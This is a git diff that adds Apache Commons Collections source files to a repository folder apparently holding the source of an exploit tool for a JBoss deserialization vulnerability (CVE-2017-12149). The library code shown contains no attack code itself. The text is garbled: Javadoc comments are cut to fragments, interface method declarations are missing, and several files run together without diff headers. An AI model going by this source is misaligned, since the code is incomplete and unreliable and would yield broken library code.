+import java.io.ObjectInputStream;
+import java.util.AbstractCollection;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+import org.apache.commons.collections.iterators.EmptyIterator;
+
+/**
+ *
+ * A
+ * This implementation uses an
+ * For example:
+ *
+ *
+ * This method performs different behaviour depending on whether the map
+ * specified is a MultiMap or not. If a MultiMap is specified, each internal
+ * collection is also cloned. If the specified map only implements Map, then
+ * the values are not cloned.
+ *
+ * NOTE: From Commons Collections 3.1 this method correctly copies a MultiMap
+ * to form a truly independent new map.
+ *
+ * @param mapToCopy a Map to copy
+ */
+ public MultiHashMap(Map mapToCopy) {
+ // be careful of JDK 1.3 vs 1.4 differences
+ super((int) (mapToCopy.size() * 1.4f));
+ if (mapToCopy instanceof MultiMap) {
+ for (Iterator it = mapToCopy.entrySet().iterator(); it.hasNext();) {
+ Map.Entry entry = (Map.Entry) it.next();
+ Collection coll = (Collection) entry.getValue();
+ Collection newColl = createCollection(coll);
+ super.put(entry.getKey(), newColl);
+ }
+ } else {
+ putAll(mapToCopy);
+ }
+ }
+
+ /**
+ * Read the object during deserialization.
+ */
+ private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
+ // This method is needed because the 1.2/1.3 Java deserialisation called
+ // put and thus messed up that method
+
+ // default read object
+ s.defaultReadObject();
+
+ // problem only with jvm <1.4
+ String version = "1.2";
+ try {
+ version = System.getProperty("java.version");
+ } catch (SecurityException ex) {
+ // ignore and treat as 1.2/1.3
+ }
+
+ if (version.startsWith("1.2") || version.startsWith("1.3")) {
+ for (Iterator iterator = entrySet().iterator(); iterator.hasNext();) {
+ Map.Entry entry = (Map.Entry) iterator.next();
+ // put has created a extra collection level, remove it
+ super.put(entry.getKey(), ((Collection) entry.getValue()).iterator().next());
+ }
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the total size of the map by counting all the values.
+ *
+ * @return the total size of the map counting all values
+ * @since Commons Collections 3.1
+ */
+ public int totalSize() {
+ int total = 0;
+ Collection values = super.values();
+ for (Iterator it = values.iterator(); it.hasNext();) {
+ Collection coll = (Collection) it.next();
+ total += coll.size();
+ }
+ return total;
+ }
+
+ /**
+ * Gets the collection mapped to the specified key.
+ * This method is a convenience method to typecast the result of
+ * Unlike a normal
+ * This checks all collections against all keys for the value, and thus could be slow.
+ *
+ * @param value the value to search for
+ * @return true if the map contains the value
+ */
+ public boolean containsValue(Object value) {
+ Set pairs = super.entrySet();
+
+ if (pairs == null) {
+ return false;
+ }
+ Iterator pairsIterator = pairs.iterator();
+ while (pairsIterator.hasNext()) {
+ Map.Entry keyValuePair = (Map.Entry) pairsIterator.next();
+ Collection coll = (Collection) keyValuePair.getValue();
+ if (coll.contains(value)) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ /**
+ * Checks whether the collection at the specified key contains the value.
+ *
+ * @param value the value to search for
+ * @return true if the map contains the value
+ * @since Commons Collections 3.1
+ */
+ public boolean containsValue(Object key, Object value) {
+ Collection coll = getCollection(key);
+ if (coll == null) {
+ return false;
+ }
+ return coll.contains(value);
+ }
+
+ /**
+ * Removes a specific value from map.
+ *
+ * The item is removed from the collection mapped to the specified key.
+ * Other values attached to that key are unaffected.
+ *
+ * If the last value for a key is removed,
+ * This clears each collection in the map, and so may be slow.
+ */
+ public void clear() {
+ // For gc, clear each list in the map
+ Set pairs = super.entrySet();
+ Iterator pairsIterator = pairs.iterator();
+ while (pairsIterator.hasNext()) {
+ Map.Entry keyValuePair = (Map.Entry) pairsIterator.next();
+ Collection coll = (Collection) keyValuePair.getValue();
+ coll.clear();
+ }
+ super.clear();
+ }
+
+ /**
+ * Gets a collection containing all the values in the map.
+ *
+ * This returns a collection containing the combination of values from all keys.
+ *
+ * @return a collection view of the values contained in this map
+ */
+ public Collection values() {
+ Collection vs = values;
+ return (vs != null ? vs : (values = new Values()));
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Inner class to view the elements.
+ */
+ private class Values extends AbstractCollection {
+
+ public Iterator iterator() {
+ return new ValueIterator();
+ }
+
+ public int size() {
+ int compt = 0;
+ Iterator it = iterator();
+ while (it.hasNext()) {
+ it.next();
+ compt++;
+ }
+ return compt;
+ }
+
+ public void clear() {
+ MultiHashMap.this.clear();
+ }
+
+ }
+
+ /**
+ * Inner iterator to view the elements.
+ */
+ private class ValueIterator implements Iterator {
+ private Iterator backedIterator;
+ private Iterator tempIterator;
+
+ private ValueIterator() {
+ backedIterator = MultiHashMap.super.values().iterator();
+ }
+
+ private boolean searchNextIterator() {
+ while (tempIterator == null || tempIterator.hasNext() == false) {
+ if (backedIterator.hasNext() == false) {
+ return false;
+ }
+ tempIterator = ((Collection) backedIterator.next()).iterator();
+ }
+ return true;
+ }
+
+ public boolean hasNext() {
+ return searchNextIterator();
+ }
+
+ public Object next() {
+ if (searchNextIterator() == false) {
+ throw new NoSuchElementException();
+ }
+ return tempIterator.next();
+ }
+
+ public void remove() {
+ if (tempIterator == null) {
+ throw new IllegalStateException();
+ }
+ tempIterator.remove();
+ }
+
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Clones the map creating an independent copy.
+ *
+ * The clone will shallow clone the collections as well as the map.
+ *
+ * @return the cloned map
+ */
+ public Object clone() {
+ MultiHashMap cloned = (MultiHashMap) super.clone();
+
+ // clone each Collection container
+ for (Iterator it = cloned.entrySet().iterator(); it.hasNext();) {
+ Map.Entry entry = (Map.Entry) it.next();
+ Collection coll = (Collection) entry.getValue();
+ Collection newColl = createCollection(coll);
+ entry.setValue(newColl);
+ }
+ return cloned;
+ }
+
+ /**
+ * Creates a new instance of the map value Collection container.
+ *
+ * This method can be overridden to use your own collection type.
+ *
+ * @param coll the collection to copy, may be null
+ * @return the new collection
+ */
+ protected Collection createCollection(Collection coll) {
+ if (coll == null) {
+ return new ArrayList();
+ } else {
+ return new ArrayList(coll);
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/MultiMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/MultiMap.java"
new file mode 100644
index 0000000..784dfa5
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/MultiMap.java"
@@ -0,0 +1,159 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.Collection;
+import java.util.Map;
+
+/**
+ * Defines a map that holds a collection of values against each key.
+ *
+ * A
+ * For example:
+ *
+ *
+ * NOTE: Additional methods were added to this interface in Commons Collections 3.1.
+ * These were added solely for documentation purposes and do not change the interface
+ * as they were defined in the superinterface
+ * The item is removed from the collection mapped to the specified key.
+ * Other values attached to that key are unaffected.
+ *
+ * If the last value for a key is removed, implementations typically
+ * return
+ * Implementations typically return only the count of keys in the map
+ * This cannot be mandated due to backwards compatability of this interface.
+ *
+ * @return the number of key-collection mappings in this map
+ */
+ int size();
+
+ /**
+ * Gets the collection of values associated with the specified key.
+ *
+ * The returned value will implement
+ * Implementations typically return
+ * Implementations may choose to return a clone of the internal collection.
+ *
+ * @param key the key to retrieve
+ * @return the
+ * Implementations typically check all collections against all keys for the value.
+ * This cannot be mandated due to backwards compatability of this interface.
+ *
+ * @param value the value to search for
+ * @return true if the map contains the value
+ * @throws ClassCastException if the value is of an invalid type
+ * @throws NullPointerException if the value is null and null value are invalid
+ */
+ boolean containsValue(Object value);
+
+ /**
+ * Adds the value to the collection associated with the specified key.
+ *
+ * Unlike a normal
+ * Implementations typically return
+ * Inplementations typically return a collection containing the combination
+ * of values from all keys.
+ * This cannot be mandated due to backwards compatability of this interface.
+ *
+ * @return a collection view of the values contained in this map
+ */
+ Collection values();
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/OrderedBidiMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/OrderedBidiMap.java"
new file mode 100644
index 0000000..74782bd
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/OrderedBidiMap.java"
@@ -0,0 +1,63 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+/**
+ * Defines a map that allows bidirectional lookup between key and values
+ * and retains and provides access to an ordering.
+ *
+ * Implementations should allow a value to be looked up from a key and
+ * a key to be looked up from a value with equal performance.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Stephen Colebourne
+ */
+public interface OrderedBidiMap extends BidiMap, OrderedMap {
+
+ /**
+ * Gets a view of this map where the keys and values are reversed.
+ *
+ * Changes to one map will be visible in the other and vice versa.
+ * This enables both directions of the map to be accessed equally.
+ *
+ * Implementations should seek to avoid creating a new object every time this
+ * method is called. See
+ * Implementations must return an
+ * Changes to one map will be visible in the other and vice versa.
+ * This enables both directions of the map to be accessed equally.
+ *
+ * Implementations should seek to avoid creating a new object every time this
+ * method is called. See
+ * This iterator allows both forward and reverse iteration through the collection.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Stephen Colebourne
+ */
+public interface OrderedIterator extends Iterator {
+
+ /**
+ * Checks to see if there is a previous entry that can be iterated to.
+ *
+ * @return
+ * A ordered map iterator is an efficient way of iterating over maps
+ * in both directions.
+ *
+ * This iterator allows both forward and reverse iteration through the map.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Stephen Colebourne
+ */
+public interface OrderedMapIterator extends MapIterator, OrderedIterator {
+
+ /**
+ * Checks to see if there is a previous entry that can be iterated to.
+ *
+ * @return
+ * A
+ * Standard implementations of common predicates are provided by
+ * {@link PredicateUtils}. These include true, false, instanceof, equals, and,
+ * or, not, method invokation and null testing.
+ *
+ * @since Commons Collections 1.0
+ * @version $Revision: 1.11 $ $Date: 2004/04/14 20:08:57 $
+ *
+ * @author James Strachan
+ * @author Stephen Colebourne
+ */
+public interface Predicate {
+
+ /**
+ * Use the specified parameter to perform a test that returns true or false.
+ *
+ * @param object the object to evaluate, should not be changed
+ * @return true or false
+ * @throws ClassCastException (runtime) if the input is the wrong class
+ * @throws IllegalArgumentException (runtime) if the input is invalid
+ * @throws FunctorException (runtime) if the predicate encounters a problem
+ */
+ public boolean evaluate(Object object);
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/PredicateUtils.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/PredicateUtils.java"
new file mode 100644
index 0000000..65c96fe
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/PredicateUtils.java"
@@ -0,0 +1,535 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.Collection;
+
+import org.apache.commons.collections.functors.AllPredicate;
+import org.apache.commons.collections.functors.AndPredicate;
+import org.apache.commons.collections.functors.AnyPredicate;
+import org.apache.commons.collections.functors.EqualPredicate;
+import org.apache.commons.collections.functors.ExceptionPredicate;
+import org.apache.commons.collections.functors.FalsePredicate;
+import org.apache.commons.collections.functors.IdentityPredicate;
+import org.apache.commons.collections.functors.InstanceofPredicate;
+import org.apache.commons.collections.functors.InvokerTransformer;
+import org.apache.commons.collections.functors.NonePredicate;
+import org.apache.commons.collections.functors.NotNullPredicate;
+import org.apache.commons.collections.functors.NotPredicate;
+import org.apache.commons.collections.functors.NullIsExceptionPredicate;
+import org.apache.commons.collections.functors.NullIsFalsePredicate;
+import org.apache.commons.collections.functors.NullIsTruePredicate;
+import org.apache.commons.collections.functors.NullPredicate;
+import org.apache.commons.collections.functors.OnePredicate;
+import org.apache.commons.collections.functors.OrPredicate;
+import org.apache.commons.collections.functors.TransformedPredicate;
+import org.apache.commons.collections.functors.TransformerPredicate;
+import org.apache.commons.collections.functors.TruePredicate;
+import org.apache.commons.collections.functors.UniquePredicate;
+
+/**
+ *
+ * For example,
+ * For example,
+ * This interface is now replaced by the This This implementation does not perform any special processing with
+ * {@link #entrySet()}, {@link #keySet()} or {@link #values()}. Instead
+ * it simply returns the set/collection from the wrapped map. This may be
+ * undesirable, for example if you are trying to write a validating
+ * implementation it would provide a loophole around the validation. But,
+ * you might want that loophole, so this class is kept simple.
+ * Note that the map is used for delegation, and is not copied. This is
+ * different to the normal use of a
+ *
+ * When you construct a
+ *
+ * Different types of references can be specified for keys
+ * and values. The keys can be configured to be weak but
+ * the values hard, in which case this class will behave
+ * like a
+ *
+ *
+ * The algorithms used are basically the same as those
+ * in {@link java.util.HashMap}. In particular, you
+ * can specify a load factor and capacity to suit your
+ * needs. All optional {@link Map} operations are
+ * supported.
+ *
+ * However, this {@link Map} implementation does not
+ * allow null elements. Attempting to add a null key or
+ * or a null value to the map will raise a
+ *
+ *
+ * As usual, this implementation is not synchronized. You
+ * can use {@link java.util.Collections#synchronizedMap} to
+ * provide synchronized access to a
+ * Ordinarily, stale mappings are only removed during
+ * a write operation, although this method is called for both
+ * read and write operations to maintain a consistent state.
+ *
+ * Note that this method is not synchronized! Special
+ * care must be taken if, for instance, you want stale
+ * mappings to be removed on a periodic basis by some
+ * background thread.
+ */
+ private void purge() {
+ Reference ref = queue.poll();
+ while (ref != null) {
+ purge(ref);
+ ref = queue.poll();
+ }
+ }
+
+
+ private void purge(Reference ref) {
+ // The hashCode of the reference is the hashCode of the
+ // mapping key, even if the reference refers to the
+ // mapping value...
+ int hash = ref.hashCode();
+ int index = indexFor(hash);
+ Entry previous = null;
+ Entry entry = table[index];
+ while (entry != null) {
+ if (entry.purge(ref)) {
+ if (previous == null) table[index] = entry.next;
+ else previous.next = entry.next;
+ this.size--;
+ return;
+ }
+ previous = entry;
+ entry = entry.next;
+ }
+
+ }
+
+
+ /**
+ * Returns the size of this map.
+ *
+ * @return the size of this map
+ */
+ public int size() {
+ purge();
+ return size;
+ }
+
+
+ /**
+ * Returns
+ * Neither the key nor the value may be null.
+ *
+ * @param key the key of the mapping
+ * @param value the value of the mapping
+ * @return the last value associated with that key, or
+ * null if no value was associated with the key
+ * @throws NullPointerException if either the key or value
+ * is null
+ */
+ public Object put(Object key, Object value) {
+ if (key == null) throw new NullPointerException("null keys not allowed");
+ if (value == null) throw new NullPointerException("null values not allowed");
+
+ purge();
+ if (size + 1 > threshold) resize();
+
+ int hash = key.hashCode();
+ int index = indexFor(hash);
+ Entry entry = table[index];
+ while (entry != null) {
+ if ((hash == entry.hash) && key.equals(entry.getKey())) {
+ Object result = entry.getValue();
+ entry.setValue(value);
+ return result;
+ }
+ entry = entry.next;
+ }
+ this.size++;
+ modCount++;
+ key = toReference(keyType, key, hash);
+ value = toReference(valueType, value, hash);
+ table[index] = new Entry(key, hash, value, table[index]);
+ return null;
+ }
+
+
+ /**
+ * Removes the key and its associated value from this map.
+ *
+ * @param key the key to remove
+ * @return the value associated with that key, or null if
+ * the key was not in the map
+ */
+ public Object remove(Object key) {
+ if (key == null) return null;
+ purge();
+ int hash = key.hashCode();
+ int index = indexFor(hash);
+ Entry previous = null;
+ Entry entry = table[index];
+ while (entry != null) {
+ if ((hash == entry.hash) && key.equals(entry.getKey())) {
+ if (previous == null) table[index] = entry.next;
+ else previous.next = entry.next;
+ this.size--;
+ modCount++;
+ return entry.getValue();
+ }
+ previous = entry;
+ entry = entry.next;
+ }
+ return null;
+ }
+
+
+ /**
+ * Clears this map.
+ */
+ public void clear() {
+ Arrays.fill(table, null);
+ size = 0;
+ while (queue.poll() != null); // drain the queue
+ }
+
+
+ /**
+ * Returns a set view of this map's entries.
+ *
+ * @return a set view of this map's entries
+ */
+ public Set entrySet() {
+ if (entrySet != null) {
+ return entrySet;
+ }
+ entrySet = new AbstractSet() {
+ public int size() {
+ return ReferenceMap.this.size();
+ }
+
+ public void clear() {
+ ReferenceMap.this.clear();
+ }
+
+ public boolean contains(Object o) {
+ if (o == null) return false;
+ if (!(o instanceof Map.Entry)) return false;
+ Map.Entry e = (Map.Entry)o;
+ Entry e2 = getEntry(e.getKey());
+ return (e2 != null) && e.equals(e2);
+ }
+
+ public boolean remove(Object o) {
+ boolean r = contains(o);
+ if (r) {
+ Map.Entry e = (Map.Entry)o;
+ ReferenceMap.this.remove(e.getKey());
+ }
+ return r;
+ }
+
+ public Iterator iterator() {
+ return new EntryIterator();
+ }
+
+ public Object[] toArray() {
+ return toArray(new Object[0]);
+ }
+
+ public Object[] toArray(Object[] arr) {
+ ArrayList list = new ArrayList();
+ Iterator iterator = iterator();
+ while (iterator.hasNext()) {
+ Entry e = (Entry)iterator.next();
+ list.add(new DefaultMapEntry(e.getKey(), e.getValue()));
+ }
+ return list.toArray(arr);
+ }
+ };
+ return entrySet;
+ }
+
+
+ /**
+ * Returns a set view of this map's keys.
+ *
+ * @return a set view of this map's keys
+ */
+ public Set keySet() {
+ if (keySet != null) return keySet;
+ keySet = new AbstractSet() {
+ public int size() {
+ return ReferenceMap.this.size();
+ }
+
+ public Iterator iterator() {
+ return new KeyIterator();
+ }
+
+ public boolean contains(Object o) {
+ return containsKey(o);
+ }
+
+
+ public boolean remove(Object o) {
+ Object r = ReferenceMap.this.remove(o);
+ return r != null;
+ }
+
+ public void clear() {
+ ReferenceMap.this.clear();
+ }
+
+ public Object[] toArray() {
+ return toArray(new Object[0]);
+ }
+
+ public Object[] toArray(Object[] array) {
+ Collection c = new ArrayList(size());
+ for (Iterator it = iterator(); it.hasNext(); ) {
+ c.add(it.next());
+ }
+ return c.toArray(array);
+ }
+ };
+ return keySet;
+ }
+
+
+ /**
+ * Returns a collection view of this map's values.
+ *
+ * @return a collection view of this map's values.
+ */
+ public Collection values() {
+ if (values != null) return values;
+ values = new AbstractCollection() {
+ public int size() {
+ return ReferenceMap.this.size();
+ }
+
+ public void clear() {
+ ReferenceMap.this.clear();
+ }
+
+ public Iterator iterator() {
+ return new ValueIterator();
+ }
+
+ public Object[] toArray() {
+ return toArray(new Object[0]);
+ }
+
+ public Object[] toArray(Object[] array) {
+ Collection c = new ArrayList(size());
+ for (Iterator it = iterator(); it.hasNext(); ) {
+ c.add(it.next());
+ }
+ return c.toArray(array);
+ }
+ };
+ return values;
+ }
+
+
+ // If getKey() or getValue() returns null, it means
+ // the mapping is stale and should be removed.
+ private class Entry implements Map.Entry, KeyValue {
+
+ Object key;
+ Object value;
+ int hash;
+ Entry next;
+
+
+ public Entry(Object key, int hash, Object value, Entry next) {
+ this.key = key;
+ this.hash = hash;
+ this.value = value;
+ this.next = next;
+ }
+
+
+ public Object getKey() {
+ return (keyType > HARD) ? ((Reference)key).get() : key;
+ }
+
+
+ public Object getValue() {
+ return (valueType > HARD) ? ((Reference)value).get() : value;
+ }
+
+
+ public Object setValue(Object object) {
+ Object old = getValue();
+ if (valueType > HARD) ((Reference)value).clear();
+ value = toReference(valueType, object, hash);
+ return old;
+ }
+
+
+ public boolean equals(Object o) {
+ if (o == null) return false;
+ if (o == this) return true;
+ if (!(o instanceof Map.Entry)) return false;
+
+ Map.Entry entry = (Map.Entry)o;
+ Object key = entry.getKey();
+ Object value = entry.getValue();
+ if ((key == null) || (value == null)) return false;
+ return key.equals(getKey()) && value.equals(getValue());
+ }
+
+
+ public int hashCode() {
+ Object v = getValue();
+ return hash ^ ((v == null) ? 0 : v.hashCode());
+ }
+
+
+ public String toString() {
+ return getKey() + "=" + getValue();
+ }
+
+
+ boolean purge(Reference ref) {
+ boolean r = (keyType > HARD) && (key == ref);
+ r = r || ((valueType > HARD) && (value == ref));
+ if (r) {
+ if (keyType > HARD) ((Reference)key).clear();
+ if (valueType > HARD) {
+ ((Reference)value).clear();
+ } else if (purgeValues) {
+ value = null;
+ }
+ }
+ return r;
+ }
+ }
+
+
+ private class EntryIterator implements Iterator {
+ // These fields keep track of where we are in the table.
+ int index;
+ Entry entry;
+ Entry previous;
+
+ // These Object fields provide hard references to the
+ // current and next entry; this assures that if hasNext()
+ // returns true, next() will actually return a valid element.
+ Object nextKey, nextValue;
+ Object currentKey, currentValue;
+
+ int expectedModCount;
+
+
+ public EntryIterator() {
+ index = (size() != 0 ? table.length : 0);
+ // have to do this here! size() invocation above
+ // may have altered the modCount.
+ expectedModCount = modCount;
+ }
+
+
+ public boolean hasNext() {
+ checkMod();
+ while (nextNull()) {
+ Entry e = entry;
+ int i = index;
+ while ((e == null) && (i > 0)) {
+ i--;
+ e = table[i];
+ }
+ entry = e;
+ index = i;
+ if (e == null) {
+ currentKey = null;
+ currentValue = null;
+ return false;
+ }
+ nextKey = e.getKey();
+ nextValue = e.getValue();
+ if (nextNull()) entry = entry.next;
+ }
+ return true;
+ }
+
+
+ private void checkMod() {
+ if (modCount != expectedModCount) {
+ throw new ConcurrentModificationException();
+ }
+ }
+
+
+ private boolean nextNull() {
+ return (nextKey == null) || (nextValue == null);
+ }
+
+ protected Entry nextEntry() {
+ checkMod();
+ if (nextNull() && !hasNext()) throw new NoSuchElementException();
+ previous = entry;
+ entry = entry.next;
+ currentKey = nextKey;
+ currentValue = nextValue;
+ nextKey = null;
+ nextValue = null;
+ return previous;
+ }
+
+
+ public Object next() {
+ return nextEntry();
+ }
+
+
+ public void remove() {
+ checkMod();
+ if (previous == null) throw new IllegalStateException();
+ ReferenceMap.this.remove(currentKey);
+ previous = null;
+ currentKey = null;
+ currentValue = null;
+ expectedModCount = modCount;
+ }
+
+ }
+
+
+ private class ValueIterator extends EntryIterator {
+ public Object next() {
+ return nextEntry().getValue();
+ }
+ }
+
+
+ private class KeyIterator extends EntryIterator {
+ public Object next() {
+ return nextEntry().getKey();
+ }
+ }
+
+
+
+ // These two classes store the hashCode of the key of
+ // of the mapping, so that after they're dequeued a quick
+ // lookup of the bucket in the table can occur.
+
+
+ private static class SoftRef extends SoftReference {
+ private int hash;
+
+
+ public SoftRef(int hash, Object r, ReferenceQueue q) {
+ super(r, q);
+ this.hash = hash;
+ }
+
+
+ public int hashCode() {
+ return hash;
+ }
+ }
+
+
+ private static class WeakRef extends WeakReference {
+ private int hash;
+
+
+ public WeakRef(int hash, Object r, ReferenceQueue q) {
+ super(r, q);
+ this.hash = hash;
+ }
+
+
+ public int hashCode() {
+ return hash;
+ }
+ }
+
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ResettableIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ResettableIterator.java"
new file mode 100644
index 0000000..56461f4
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ResettableIterator.java"
@@ -0,0 +1,38 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.Iterator;
+
+/**
+ * Defines an iterator that can be reset back to an initial state.
+ *
+ * This interface allows an iterator to be repeatedly reused.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Stephen Colebourne
+ */
+public interface ResettableIterator extends Iterator {
+
+ /**
+ * Resets the iterator back to the position at which the iterator
+ * was created.
+ */
+ public void reset();
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ResettableListIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ResettableListIterator.java"
new file mode 100644
index 0000000..74a0f78
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ResettableListIterator.java"
@@ -0,0 +1,38 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.ListIterator;
+
+/**
+ * Defines a list iterator that can be reset back to an initial state.
+ *
+ * This interface allows an iterator to be repeatedly reused.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Stephen Colebourne
+ */
+public interface ResettableListIterator extends ListIterator, ResettableIterator {
+
+ /**
+ * Resets the iterator back to the position at which the iterator
+ * was created.
+ */
+ public void reset();
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/SequencedHashMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/SequencedHashMap.java"
new file mode 100644
index 0000000..4560194
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/SequencedHashMap.java"
@@ -0,0 +1,1017 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractCollection;
+import java.util.AbstractSet;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+import org.apache.commons.collections.list.UnmodifiableList;
+
+/**
+ * A map of objects whose mapping entries are sequenced based on the order in
+ * which they were added. This data structure has fast O(1) search
+ * time, deletion time, and insertion time.
+ *
+ * Although this map is sequenced, it cannot implement
